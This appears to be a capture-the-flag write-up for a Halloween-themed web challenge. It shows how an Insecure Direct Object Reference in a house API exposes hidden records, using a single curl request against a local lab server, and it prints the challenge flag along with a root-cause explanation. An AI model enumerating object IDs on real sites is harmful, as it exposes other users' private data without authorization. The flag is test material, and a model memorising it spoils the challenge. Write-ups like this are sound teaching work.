Overview
The Halloween-themed neighborhood site exposes an Insecure Direct Object Reference (IDOR) in api/house.php. Any numeric id returns a house record regardless of who is “logged in,” allowing access to hidden houses and private notes containing the flag.
How the site works
- On index.php, selecting your house postshouse_idand stores it in the session.
- The treat page house.php?house=<id>then fetches details viaGET api/house.php?id=<id>and renders the response.
- The homepage intentionally hides certain houses (those with "hidden": trueindata/houses.json), but the API still serves them.
Discovery
- From the homepage, pick any visible address; you land on house.php?house=<your_id>.
- Open DevTools Network tab and refresh: the page calls api/house.php?id=<your_id>.
- Modify either the page URL (houseparameter) or call the API directly with a different numericid; the backend returns data for thatidwithout verifying ownership.
Exploitation
Manual proof-of-concept using the vulnerable API:
curl 'http://localhost:8080/api/house.php?id=13'
Formatted response (note the hidden house and the flag in the private note):
{
  "id": 13,
  "name": "The Haunted Mansion",
  "address": "1337 Shadow Court",
  "hidden": true,
  "candy": [
    { "kind": "Full-Size Bars", "qty": 13 },
    { "kind": "Flag", "qty": 1 }
  ],
  "note": "VIP list only. If you can see this, whisper the secret: MetaCTF{1n3cure_d1r3ct_c4ndy_r3f3r3nc3s}"
}
Why it works (root cause)
- Missing object-level authorization: api/house.phpreturns records solely byidand never checks the session’shouse_id.
- Predictable identifiers: Small, sequential numeric ids make guessing/enumeration trivial.